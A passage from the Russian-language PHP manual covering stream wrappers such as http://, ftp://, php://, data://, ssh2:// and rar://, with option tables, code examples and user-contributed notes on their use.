Одновременное чтение и запись | Да
Поддержка stat() | Да
Поддержка unlink() | Да
Поддержка rename() | Да
Поддержка mkdir() | Да
Поддержка rmdir() | Да

User Contributed Notes

There are no user contributed notes for this page.


Доступ к URL-адресам по протоколу HTTP(s)

  • « file://
  • ftp:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Доступ к URL-адресам по протоколу HTTP(s)

http://

https://

http:// -- https:// — Доступ к URL-адресам по протоколу HTTP(s)

Описание

Предоставляет доступ только для чтения файлов/ресурсов через HTTP. По умолчанию используется HTTP 1.0 GET. Для поддержки виртуальных хостов на основе имён вместе с запросом посылается заголовок Host:. Если вы сконфигурировали строку user_agent, используя ваш файл php.ini или контекст потока, то она также будет включена в запрос.

Этот поток также позволяет получить доступ к содержимому ресурса; заголовки сохраняются в переменной $http_response_header.

Если важно знать URL, с которого был получен документ (после всех переадресаций, которые были произведены), то вам необходимо обработать серию заголовков ответов, возвращаемых потоком.

INI-директива from будет использоваться для заголовка From:, если установлена и не переопределена в контексте Контекстные опции и параметры.

Использование

  • http://example.com
  • http://example.com/file.php?var1=val1&var2=val2
  • http://user:password@example.com
  • https://example.com
  • https://example.com/file.php?var1=val1&var2=val2
  • https://user:password@example.com

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Да
Чтение | Да
Запись | Нет
Добавление | Нет
Одновременное чтение и запись | Недоступно
Поддержка stat() | Нет
Поддержка unlink() | Нет
Поддержка rename() | Нет
Поддержка mkdir() | Нет
Поддержка rmdir() | Нет

Примеры

Пример #1 Определение URL, с которого был забран документ после переадресаций

<?php
$url = 'http://www.example.com/redirecting_page.php';

$fp = fopen($url, 'r');

$meta_data = stream_get_meta_data($fp);
foreach ($meta_data['wrapper_data'] as $response) {

/* Были ли мы переадресованы? */
if (strtolower(substr($response, 0, 10)) == 'location: ') {

/* Сохранить в $url адрес, куда нас переадресовали */
$url = substr($response, 10);
}

}

?>

Примечания

Замечание: Протокол HTTPS поддерживается только когда модуль openssl включён.

Соединения HTTP предназначены только для чтения; запись данных или копирование файлов в HTTP-ресурс не поддерживается.

Отправка запросов POST и PUT, например, может быть выполнена с помощью HTTP-контекста.

Смотрите также

  • Опции контекста HTTP
  • $http_response_header
  • stream_get_meta_data() - Извлекает заголовок/метаданные из потоков/файловых указателей

User Contributed Notes

Rainer Perske 09-Nov-2015 04:27
Passing authentication information in the URL as in "https://user:password@example.com" works for HTTP "Basic" access authentication but not for HTTP "Digest" access authentication. You can use the cURL functions for servers requesting HTTP "Digest" access authentication.
NEA at AraTaraBul dot com 29-Jul-2007 04:06
HTTP post function;

<?php
function post_it($datastream, $url) {

$url = preg_replace("@^http://@i", "", $url);
$host = substr($url, 0, strpos($url, "/"));
$uri = strstr($url, "/");

      $reqbody = "";
      foreach($datastream as $key=>$val) {
          if (!empty($reqbody)) $reqbody.= "&";
      $reqbody.= $key."=".urlencode($val);
      }

$contentlength = strlen($reqbody);
     $reqheader =  "POST $uri HTTP/1.1\r\n".
                   "Host: $host\n". "User-Agent: PostIt\r\n".
     "Content-Type: application/x-www-form-urlencoded\r\n".
     "Content-Length: $contentlength\r\n\r\n".
     "$reqbody\r\n";

$socket = fsockopen($host, 80, $errno, $errstr);

if (!$socket) {
   $result["errno"] = $errno;
   $result["errstr"] = $errstr;
   return $result;
}

fputs($socket, $reqheader);

while (!feof($socket)) {
   $result[] = fgets($socket, 4096);
}

fclose($socket);

return $result;
}
?>
Sinured 28-Jun-2007 03:24
If you want to send more than one custom header, just make header an array:

<?php
$default_opts = array(
    'http' => array(
        'user_agent' => 'Foobar',
        'header' => array(
            'X-Foo: Bar',
            'X-Bar: Baz'
        )
    )
);
stream_context_get_default($default_opts);
readfile('http://www.xhaus.com/headers');
?>
dwalton at acm dot org 17-Nov-2006 12:18
As it says on this page:

"The stream allows access to the body of the resource; the headers are stored in the $http_response_header variable. Since PHP 4.3.0, the headers are available using stream_get_meta_data()."

This one sentence is the only documentation I have found on the mysterious $http_response_header variable, and I'm afraid it's misleading.  It implies that from 4.3.0 onward, stream_get_meta_data() ought to be used in favor of $http_response_header.

Don't be fooled!  stream_get_meta_data() requires a stream reference, which makes it ONLY useful with fopen() and related functions.  However, $http_response_header can be used to get the headers from the much simpler file_get_contents() and related functions, which makes it still very useful in 5.x.

Also note that even when file_get_contents() and friends fail due to a 4xx or 5xx error and return false, the headers are still available in $http_response_header.


Доступ к URL-адресам по протоколу FTP(s)

  • « http://
  • php:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Доступ к URL-адресам по протоколу FTP(s)

ftp://

ftps://

ftp:// -- ftps:// — Доступ к URL-адресам по протоколу FTP(s)

Описание

Позволяет читать существующие файлы и создавать новые файлы через FTP. Если сервер FTP не поддерживает пассивный режим, соединение будет невозможно.

Вы можете открыть файл либо для чтения, либо для записи, но не одновременно для того и другого. Если файл на сервере FTP уже существует, и вы пытаетесь открыть его для записи, но не указали опцию контекста overwrite, соединение будет невозможно. Если вам необходимо перезаписать существующие файлы на FTP, укажите опцию overwrite в контексте и откройте файл для записи. Кроме того, вы можете использовать модуль FTP.

Если вы установили директиву from в файле php.ini, то это значение будет отправлено как пароль при анонимном подключении к FTP.

Использование

  • ftp://example.com/pub/file.txt
  • ftp://user:password@example.com/pub/file.txt
  • ftps://example.com/pub/file.txt
  • ftps://user:password@example.com/pub/file.txt

Опции

Основная информация
Атрибут | Поддерживается
Ограничение по allow_url_fopen | Да
Чтение | Да
Запись | Да (новые файлы / существующие файлы с опцией overwrite)
Добавление | Да
Одновременное чтение и запись | Нет
Поддержка stat() | filesize(), filemtime(), filetype(), file_exists(), is_file() и is_dir().
Поддержка unlink() | Да
Поддержка rename() | Да
Поддержка mkdir() | Да
Поддержка rmdir() | Да

Примечания

Замечание:

FTPS поддерживается только тогда, когда включена поддержка модуля OpenSSL.

Если сервер не поддерживает SSL, то соединение переключается обратно на обычный нешифрованный протокол FTP.

Замечание: Дополнение
Файлы могут быть дописаны с помощью URL-обёртки ftp://.

Смотрите также

  • Параметры контекста FTP

User Contributed Notes

fazil dot stormhammer dot nospam at gmail dot com 25-Apr-2008 01:41
Document says "Allows read access to existing files and creation of new files via FTP. If the server does not support passive mode ftp, the connection will fail. "

As of version 5.2.5 at least fopen("ftp://...") uses an ACTIVE mode connection by default (it issues an FTP PORT command but not a PASV command).  To force passive mode:

$f = fopen("ftp://...");
ftp_pasv($f, true);
25-Sep-2005 08:33
<?
$str ="replace all contenents";
$filew="ftp://gufo:gufo@192.168.1.55:21/jj.php";
$opts = array('ftp' => array('overwrite' => true));
$context = stream_context_create($opts);
$strwri = file_put_contents($filew,$str,LOCK_EX,$context);
?>
php at f00n dot com 04-Jul-2004 12:39
For Intranet purposes I found I preferred to move my file via ftp functions to match the session user's ftp account and put the file in a holding bay so I knew who it was from.

The FTP wrapper method will NOT do this if your ftp server does NOT support passive mode.

eg.  an ftp server behind NAT/routing


Доступ к различным потокам ввода-вывода

  • « ftp://
  • zlib:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Доступ к различным потокам ввода-вывода

php://

php:// — Доступ к различным потокам ввода-вывода

Описание

PHP предоставляет несколько разнообразных потоков ввода-вывода, которые позволяют получить доступ к собственным потокам ввода-вывода PHP, к дескрипторам стандартного ввода, вывода и потока ошибок, к временным файловым потокам в памяти и на диске, и фильтрам, которые могут манипулировать другими файловыми ресурсами по мере их считывания или записи.

php://stdin, php://stdout и php://stderr

php://stdin, php://stdout и php://stderr позволяют получить прямой доступ к соответствующим потокам ввода или вывода процесса PHP. Поток указывает на копию файлового дескриптора, таким образом, если вы откроете php://stdin и потом закроете его, вы закроете только вашу копию дескриптора. Актуальный поток, на который ссылается STDIN, остаётся неизменным. Рекомендуется просто использовать константы STDIN, STDOUT и STDERR вместо ручного открытия потоков, используя эти обёртки.

Поток php://stdin предназначен только для чтения, тогда как php://stdout и php://stderr предназначены только для записи.

php://input

php://input является потоком только для чтения, который позволяет вам читать необработанные данные из тела запроса. php://input недоступен в POST-запросах с enctype="multipart/form-data", если опция enable_post_data_reading включена.

php://output

php://output является потоком только для записи, который позволяет вам записать данные в выходной буфер аналогично, как это делают функции print и echo.

php://fd

php://fd предоставляет прямой доступ к указанному файловому дескриптору. Например, php://fd/3 относится к файловому дескриптору 3.

php://memory и php://temp

php://memory и php://temp являются потоками для чтения/записи и позволяют сохранять временные данные в файлоподобной обёртке. Единственная разница между ними заключается в том, что php://memory будет всегда хранить данные в оперативной памяти, тогда как php://temp будет использовать временный файл в том случае, когда объем хранимой информации достигнет заданного лимита (по умолчанию 2 Мб). Расположение этого временного файла определяется аналогично функции sys_get_temp_dir().

Размер лимита для php://temp может устанавливаться путём добавления /maxmemory:NN, где NN — это максимальный размер данных в байтах для хранения в памяти перед использованием временного файла.

Предостережение

Модулям PHP может потребоваться стандартный поток ввода-вывода и они могут попытаться преобразовать заданный поток в стандартный поток ввода-вывода. Это преобразование может завершиться ошибкой для потоков памяти, поскольку для такого приведения необходима функция fopencookie() языка Си. Такая функция языка Си недоступна в операционных системах Windows.

php://filter

php://filter — это вид мета-обёртки, предназначенный для разрешения применения фильтров к потоку во время открытия. Это полезно для функционально полных файловых функций, таких как readfile(), file() и file_get_contents(), где нет возможности применить фильтр к потоку до того, как содержимое будет прочитано.

Поток php://filter принимает следующие параметры как часть своего пути. В одном пути можно указать несколько цепочек фильтров. Пожалуйста, ознакомьтесь с примерами и особенностями при использовании этих параметров.

Параметры для php://filter
Название | Описание
resource=<поток для фильтрации> | Этот параметр является необходимым. Он указывает потоку, что его необходимо отфильтровать.
read=<список фильтров для применения к цепочке чтения> | Этот параметр является необязательным. Одно или несколько имён фильтров может быть указано здесь, разделённых вертикальной чертой (|).
write=<список фильтров для применения к цепочке записи> | Этот параметр является необязательным. Одно или несколько имён фильтров может быть указано здесь, разделённых вертикальной чертой (|).
<список фильтров для применения к обеим цепочкам чтения и записи> | Любой список фильтров, которые используются без префиксов read= или write=, будет применён к обоим потокам на чтение и на запись при необходимости.

Опции

Основная информация (для php://filter смотрите информацию по обёртке, которая подвергается фильтрации)
Атрибут | Поддержка
Ограничение по allow_url_fopen | Нет
Ограничение по allow_url_include | только php://input, php://stdin, php://memory и php://temp.
Чтение | только php://stdin, php://input, php://fd, php://memory и php://temp.
Запись | только php://stdout, php://stderr, php://output, php://fd, php://memory и php://temp.
Добавление | только php://stdout, php://stderr, php://output, php://fd, php://memory и php://temp. (Эквивалентно записи)
Одновременное чтение и запись | только php://fd, php://memory и php://temp.
Поддержка stat() | нет. Тем не менее, php://memory и php://temp поддерживают fstat().
Поддержка unlink() | Нет
Поддержка rename() | Нет
Поддержка mkdir() | Нет
Поддержка rmdir() | Нет
Поддержка stream_select() | только php://stdin, php://stdout, php://stderr, php://fd и php://temp.

Примеры

Пример #1 php://temp/maxmemory

Этот необязательный параметр позволяет установить лимит памяти до того, как php://temp начнёт использовать временный файл.

<?php
// Установка предела в 5 MB.
$fiveMBs = 5 * 1024 * 1024;
$fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');

fputs($fp, "hello\n");

// Читаем то, что мы записали.
rewind($fp);
echo stream_get_contents($fp);
?>

Пример #2 php://filter/resource=<поток для фильтрации>

Этот параметр должен быть расположен в конце вашей спецификации php://filter и должен указывать на поток, который вы хотите фильтровать.

<?php
/* Это просто эквивалентно:
readfile("http://www.example.com");
так как на самом деле фильтры не указаны */

readfile("php://filter/resource=http://www.example.com");
?>

Пример #3 php://filter/read=<список фильтров для применения к цепочке чтения>

Этот параметр принимает один или более имён фильтров, разделённых вертикальной чертой |.

<?php
/* Этот скрипт выведет содержимое
www.example.com полностью в верхнем регистре */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");

/* Этот скрипт делает тоже самое, что вверхний, но
будет также кодировать алгоритмом ROT13 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>

Пример #4 php://filter/write=<список фильтров для применения к цепочке записи>

Этот параметр принимает один или более имён фильтров, разделённых вертикальной чертой |.

<?php
/* Этот скрипт будет фильтровать строку "Hello World"
через фильтр rot13, затем записывать результат в
файл example.txt в текущей директории */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

Пример #5 php://memory и php://temp нельзя переиспользовать

php://memory и php://temp нельзя переиспользовать, то есть после закрытия потоков невозможно сослаться на них снова.

file_put_contents('php://memory', 'PHP');
echo file_get_contents('php://memory'); // ничего не напечатает

User Contributed Notes

There are no user contributed notes for this page.


Сжатые потоки

  • « php://
  • data:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Сжатые потоки

zlib://

bzip2://

zip://

zlib:// -- bzip2:// -- zip:// — Сжатые потоки

Описание

compress.zlib:// и compress.bzip2://

zlib: работает как gzopen() за исключением того, что этот поток может использоваться функцией fread() и другими функциями, работающими с файловой системой. Устарела, ввиду неоднозначности при наличии файлов, содержащих ':'; используйте взамен compress.zlib://.

compress.zlib:// и compress.bzip2:// эквиваленты gzopen() и bzopen() соответственно и работают даже в системах, не поддерживающих fopencookie.

Модуль ZIP добавляет обёртку zip:. Начиная с PHP 7.2.0 и libzip 1.2.0+, была добавлена поддержка паролей для зашифрованных архивов, позволяя предоставлять пароли, используя контексты потоков. Пароли могут быть установлены с помощью контекстной опции 'password'.

Использование

  • compress.zlib://file.gz
  • compress.bzip2://file.bz2
  • zip://archive.zip#dir/file.txt

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Нет
Чтение | Да
Запись | Да (кроме zip://)
Добавление | Да (кроме zip://)
Одновременное чтение и запись | Нет
Поддержка stat() | Нет, используйте стандартную обёртку file:// для получения информации по сжатым файлам.
Поддержка unlink() | Нет, используйте стандартную обёртку file:// для удаления сжатых файлов.
Поддержка rename() | Нет
Поддержка mkdir() | Нет
Поддержка rmdir() | Нет

Смотрите также

  • Zlib context options

User Contributed Notes

arava dot box at gmail dot com 05-Dec-2019 01:17
This is the solution how to read stream from zip:

$fp = fopen('zip://foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}
lewa::cpan.org 03-Feb-2017 01:56
One-liners to gzip and ungzip a file:

copy('file.txt', 'compress.zlib://' . 'file.txt.gz');

copy('compress.zlib://' . 'file.txt.gz', 'file.txt');
feodor at ctm dot ru 10-Dec-2015 01:13
Prior to PHP 5.6 i used code like
<?php
file_get_contents("compress.zlib://php://input");
?>
to read gz-compressed or plain input file. Not it doesn't work.
Simple workaround :
<?php
//file_get_contents("compress.zlib://php://input");

class gzip_header_filter8 extends php_user_filter {
    private $filtered = 0;
    public function filter($in, $out, &$consumed, $closing) {
        while ($bucket = stream_bucket_make_writeable($in)) {
            if($this->filtered == 0) {
                $header_len = 8;
                $header = substr($bucket->data, 0, 8);
                $flags = ord($header[1]);
                if($flags & 0x08) {
                    // a filename is present
                    $header_len = strpos($bucket->data, "\0", 8) + 1;
                }
                $bucket->data = substr($bucket->data, $header_len);
                $this->filtered = $header_len;
            }
            $consumed += $bucket->datalen;
            stream_bucket_append($out, $bucket);
        }
        return PSFS_PASS_ON;
    }
}

stream_filter_register('gzip_header_filter8', 'gzip_header_filter8');

$READ_LEN = 64*1024;
$MAX_BUF_LEN = $READ_LEN*1024;

$mode_plain=true;
$src=fopen("php://input","rb"); //test if OK!!!!
$magic_number=fread($src,2);
$input="";
    if(strlen($magic_number)==2)
        if(
            (ord($magic_number[0])==31)
        &&  (ord($magic_number[1])==139)
            )
        {
        $mode_plain=false;
        stream_filter_append($src, "gzip_header_filter8", STREAM_FILTER_READ);
        stream_filter_append($src, "zlib.inflate", STREAM_FILTER_READ);
        }
else
        {
        $input=$magic_number;
        }

/* read starts here*/
 $k = 0;
 while (!feof($src) && $k <= $MAX_BUF_LEN) {
      $inp = fread($src,$READ_LEN);
      $k += strlen($inp);
      $input.=$inp;
    }
echo $input;
fclose($src);
?>
eragonjml at googlemail dot com 19-Sep-2013 05:00
@alvaro at demogracia dot com

well in fact that is wrong!
right code is:

<?php

$fp = fopen('compress.zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

as you might see you just have to add a "compress."

maybe when you posted this note is was right (2 years ago) but today its wrong... :/

sry for my english i am german :)
alvaro at demogracia dot com 12-Apr-2011 07:41
Example on how to read an entry from a ZIP archive (file "bar.txt" inside "./foo.zip"):

<?php

$fp = fopen('zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

Also, apparently, the "zip:" wrapper does not allow writing as of PHP/5.3.6. You can read http://php.net/ziparchive-getstream for further reference since the underlying code is probably the same.
joshualross at gmail dot com 19-Aug-2007 12:24
I had a difficult time finding how to use compress.zlib with an http resource so I thought I would post what I found
<?php
$file = 'compress.zlib://http://www.example.com/myarchive.gz';
$fr = fopen($file, 'rb');
?>

Per the bugreport I found here (http://bugs.php.net/bug.php?id=29045)


Схема Data (RFC 2397)

  • « zlib://
  • glob:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Схема Data (RFC 2397)

data://

data:// — Схема Data (RFC 2397)

Описание

data: (» RFC 2397) - это обёртка потоков.

Использование

  • data://text/plain;base64,

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Да
Ограничение по allow_url_include | Да
Чтение | Да
Запись | Нет
Добавление | Нет
Чтение и запись одновременно | Нет
Поддержка stat() | Нет
Поддержка unlink() | Нет
Поддержка rename() | Нет
Поддержка mkdir() | Нет
Поддержка rmdir() | Нет

Примеры

Пример #1 Вывод содержимого data://

<?php
// выводит "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

Пример #2 Получение типа потока

<?php
$fp = fopen('data://text/plain;base64,', 'r');
$meta = stream_get_meta_data($fp);

// выводит "text/plain"
echo $meta['mediatype'];
?>

User Contributed Notes

from dot php dot net at brainbox dot cz 18-Nov-2010 04:37
When passing plain string without base64 encoding, do not forget to pass the string through URLENCODE(), because PHP automatically urldecodes all entities inside passed string (and therefore all + get lost, all % entities will be converted to the corresponding characters).

In this case, PHP is strictly compilant with the RFC 2397. Section 3 states that passes data should be either in base64 encoding or urlencoded.

VALID USAGE:
<?php
$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
?>

Demonstration of invalid usage:
<?php
$data = 'Gunther says: 1+1 is 2, 10%40 is 20.';

$fp = fopen('data:text/plain,'.$data, 'rb'); // INVALID, never do this
echo stream_get_contents($fp);
// Gunther says: 1 1 is 2, 10@ is 20. // ERROR

$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
echo stream_get_contents($fp);
// Gunther says: 1+1 is 2, 10%40 is 20. // OK

// Valid option 1: base64 encoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
echo stream_get_contents($fp);
// Gunther says: 1+1 is 2, 10%40 is 20. // OK
?>
admin deskbitz net 02-May-2010 12:54
If you want to create a gd-image directly out of a sql-database-field you might want to use:

<?php
$jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata']));
?>

this goes also for gif, png, etc using the correct "imagecreatefrom$$$"-function and mime-type.
sandaimespaceman at gmail dot com 06-Sep-2008 06:30
Now PHP supports data: protocol w/out "//" like data:text/plain, not data://text/plain,

I tried it.


Нахождение путей, соответствующих шаблону

  • « data://
  • phar:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Нахождение путей, соответствующих шаблону

glob://

glob:// — Нахождение путей, соответствующих шаблону

Описание

Обёртка потока glob:.

Использование

  • glob://

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Нет
Ограничение по allow_url_include | Нет
Чтение | Нет
Запись | Нет
Добавление | Нет
Одновременное чтение и запись | Нет
Поддержка stat() | Нет
Поддержка unlink() | Нет
Поддержка rename() | Нет
Поддержка mkdir() | Нет
Поддержка rmdir() | Нет

Примеры

Пример #1 Основы использования

<?php
// Просмотреть все файлы *.php в директории ext/spl/examples/
// и напечатать имена файлов и их размеры
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
tree.php: 1.0K
findregex.php: 0.6K
findfile.php: 0.7K
dba_dump.php: 0.9K
nocvsdir.php: 1.1K
phar_from_dir.php: 1.0K
ini_groups.php: 0.9K
directorytree.php: 0.9K
dba_array.php: 1.1K
class_tree.php: 1.8K

User Contributed Notes

There are no user contributed notes for this page.


PHP-архив

  • « glob://
  • ssh2:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • PHP-архив

phar://

phar:// — PHP-архив

Описание

Обёртка потока phar://. Смотрите раздел Обёртка потока Phar для более детального описания.

Использование

  • phar://

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Нет
Ограничение по allow_url_include | Нет
Чтение | Да
Запись | Да
Добавление | Нет
Одновременное чтение и запись | Да
Поддержка stat() | Да
Поддержка unlink() | Да
Поддержка rename() | Да
Поддержка mkdir() | Да
Поддержка rmdir() | Да

Смотрите также

  • Контекстные опции Phar

User Contributed Notes

There are no user contributed notes for this page.


Secure Shell 2

  • « phar://
  • rar:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Secure Shell 2

ssh2://

ssh2:// — Secure Shell 2

Описание

ssh2.shell:// ssh2.exec:// ssh2.tunnel:// ssh2.sftp:// ssh2.scp:// (PECL)

Замечание: Эта обёртка не включена по умолчанию
Для того, чтобы использовать обёртки ssh2.*:// необходимо установить модуль » SSH2, доступный в репозитории » PECL.

Кроме получения традиционных данных для входа к URI, обёртки ssh2 также будут повторно использовать открытые соединения, передавая ресурс соединения в хост-часть URL.

Использование

  • ssh2.shell://user:pass@example.com:22/xterm
  • ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
  • ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
  • ssh2.sftp://user:pass@example.com:22/path/to/filename

Опции

Основная информация
Атрибут | ssh2.shell | ssh2.exec | ssh2.tunnel | ssh2.sftp | ssh2.scp
Ограничение по allow_url_fopen | Да | Да | Да | Да | Да
Чтение | Да | Да | Да | Да | Да
Запись | Да | Да | Да | Да | Нет
Добавление | Нет | Нет | Нет | Да (когда поддерживается сервером) | Нет
Одновременная чтение и запись | Да | Да | Да | Да | Нет
Поддержка stat() | Нет | Нет | Нет | Да | Нет
Поддержка unlink() | Нет | Нет | Нет | Да | Нет
Поддержка rename() | Нет | Нет | Нет | Да | Нет
Поддержка mkdir() | Нет | Нет | Нет | Да | Нет
Поддержка rmdir() | Нет | Нет | Нет | Да | Нет

Опции контекста
Имя | Использование | По умолчанию
session | Предварительно соединённый ресурс ssh2 для повторного использования |
sftp | Предварительно выделенный ресурс sftp для повторного использования |
methods | Обмен ключами, ключ хоста, шифр, компрессия и методы MAC для использования |
callbacks |  |
username | Имя пользователя для соединения |
password | Пароль для аутентификации |
pubkey_file | Имя файла, в котором находится открытый ключ для аутентификации |
privkey_file | Имя файла, в котором находится приватный ключ для аутентификации |
env | Ассоциативный массив с переменными окружения, которые необходимо установить |
term | Тип эмуляции терминала для запроса, когда выделяется pty |
term_width | Ширина терминала, запрашивается когда выделяется pty |
term_height | Высота терминала, запрашивается когда выделяется pty |
term_units | Единицы, в которых измеряются term_width и term_height | SSH2_TERM_UNIT_CHARS

Примеры

Пример #1 Открытие потока из активного соединения

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
'/home/username/.ssh/id_rsa', 'secret');
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');
?>

Пример #2 Переменная $session должна быть доступна!

Для использования каких-либо из обёрток ssh2.*://$session, необходимо сохранить доступным ресурс, хранящийся в переменной $session. Следующий код не будет иметь желаемого эффекта:

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
'/home/username/.ssh/id_rsa', 'secret');
$connection_string = "ssh2.sftp://$session/";
unset($session);
$stream = fopen($connection_string . "path/to/file", 'r');
?>

unset() закрывает сессию, потому что $connection_string не является ссылкой на переменную $session, а только её текстовым представлением. Это также происходит и в случае неявного вызова unset() при выходе из области видимости (например, из функции).

User Contributed Notes

guilhem at no dot spam dot answeb dot net 09-Nov-2017 03:39
Please beware of a PHP bug, noted by thomas at gielfeldt dot dk, that you must intval() the connection variable before putting it in the connection string :

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);
// See: https://bugs.php.net/bug.php?id=73597
$stream = fopen("ssh2.sftp://" . intval($sftp) . "/path/to/file", 'r');
?>
thomas at gielfeldt dot dk 25-Mar-2017 11:32
<?php
// Connect with public key.
$session = ssh2_connect('example.com', 22);
$result = ssh2_auth_pubkey_file($session, 'remote-username', '/home/local-username/.ssh/id_rsa.pub',
                                                             '/home/local-username/.ssh/id_rsa',
                                                             'secret');
// Setup sftp stream wrapper
$sftp = ssh2_sftp($session);
// See: https://bugs.php.net/bug.php?id=73597
$connection_string = 'ssh2.sftp://' . intval($sftp);

// List files in remote homedir.
$i = new \RecursiveDirectoryIterator("$connection_string/home/remote-username");
$r = new \RecursiveIteratorIterator($i);
foreach ($r as $f) {
    print $f->getPathname() . "\n";
}
?>
exptom 30-Jun-2013 09:37
The "password" context option can also be used to provide the passphrase for the keyfile supplied by "privkey_file" and "pubkey_file".

Note this bug: https://bugs.php.net/bug.php?id=58573
Encrypted keys may not work unless you build libssh2 against openssl. (It only worked for me on Debian Wheezy once I recompiled the library).
bluej100 at gmail dot com 07-May-2013 10:42
Be aware that opendir is currently broken on sftp root directories, but you can work around it by appending a dot. See https://bugs.php.net/bug.php?id=64169 and http://stackoverflow.com/a/16238476/69173.


RAR

  • « ssh2://
  • ogg:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • RAR

rar://

rar:// — RAR

Описание

Эта обёртка принимает URL-кодированный путь к RAR-архиву (относительный или абсолютный), необязательный символ звёздочки (*), необязательный символ решётки (#) и необязательное URL-кодированное имя такое, как хранится в архиве. Для указания имени содержимого требуется символ решётки, начальный обратный слеш в названии содержимого необязателен.

Эта обёртка может открывать файлы и директории. Когда открываются директории, знак звёздочки требует, чтобы имена объектов директории были закодированы unencode. Если такой знак не указан, они будут возвращены в URL-кодировке. Смысл этого в том, чтобы позволить обёртке корректно использовать встроенную функциональность, такую как RecursiveDirectoryIterator когда присутствуют имена файлов, которые кажутся как url-закодированные данные.

Если символ решётки и часть имени записи не включена, будет отображён корень архива. Это отличается от обычных директорий тем, что результирующий поток не будет содержать такую информацию, как время модификации, так как корневая директория не сохраняется как отдельная запись в архиве. Использование обёртки с RecursiveDirectoryIterator требует, чтобы символ решётки был включён в URL, когда происходит доступ к корню, так чтобы URL потомков мог быть сконструирован правильно.

Замечание: Эта обёртка не включена по умолчанию
Для того, чтобы использовать обёртку rar://, необходимо установить модуль » rar, доступный в репозитории » PECL.

rar:// Доступно начиная с PECL rar 3.0.0

Использование

  • rar://<url encoded archive name>[*][#[<url encoded entry name>]]

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Нет
Ограничение по allow_url_include | Нет
Чтение | Да
Запись | Нет
Добавление | Нет
Одновременное чтение и запись | Нет
Поддержка stat() | Да
Поддержка unlink() | Нет
Поддержка rename() | Нет
Поддержка mkdir() | Нет
Поддержка rmdir() | Нет

Опции контекста
Название | Использование | По умолчанию
open_password | Пароль используется для шифрования заголовков архива, если таковые есть. WinRAR будет шифровать все файлы с таким же паролем, как и пароль заголовков, когда последний присутствует. Поэтому для архивов с зашифрованными заголовками опция file_password будет проигнорирована. |
file_password | Пароль, используемый для шифрования файла, если таковой имеется. Если заголовки также зашифрованы, эта опция будет игнорирована в пользу open_password. Причина этого в том, что нет смысла в использовании одновременно двух разных паролей для шифрования отдельно заголовков и отдельно файлов. Нет таких архивов, где бы это пригодилось. Заметим, что если у архива отсутствуют зашифрованные заголовки, то опция open_password будет игнорирована и эта опция должна быть использована вместо неё. |
volume_callback | Обратный вызов для определения пути недостающих томов архива. Смотрите RarArchive::open() для более детальной информации. |

Примеры

Пример #1 Обход RAR-архива

<?php

class MyRecDirIt extends RecursiveDirectoryIterator {
function current() {
return rawurldecode($this->getSubPathName()) .
(is_dir(parent::current())?" [DIR]":"");
}
}

$f = "rar://" . rawurlencode(dirname(__FILE__)) .
DIRECTORY_SEPARATOR . 'dirs_and_extra_headers.rar#';

$it = new RecursiveTreeIterator(new MyRecDirIt($f));

foreach ($it as $s) {
echo $s, "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

|-allow_everyone_ni [DIR]
|-file1.txt
|-file2_?.txt
|-with_streams.txt
\-? [DIR]
  |-?\%2Fempty%2E [DIR]
  | \-?\%2Fempty%2E\file7.txt
  |-?\empty [DIR]
  |-?\file3.txt
  |-?\file4_?.txt
  \-?\?_2 [DIR]
    |-?\?_2\file5.txt
    \-?\?_2\file6_?.txt

Пример #2 Открытие зашифрованного файла (шифрование заголовка)

<?php
$stream = fopen("rar://" .
rawurlencode(dirname(__FILE__)) . DIRECTORY_SEPARATOR .
'encrypted_headers.rar' . '#encfile1.txt', "r", false,
stream_context_create(
array(
'rar' =>
array(
'open_password' => 'samplepassword'
)
)
)
);
var_dump(stream_get_contents($stream));
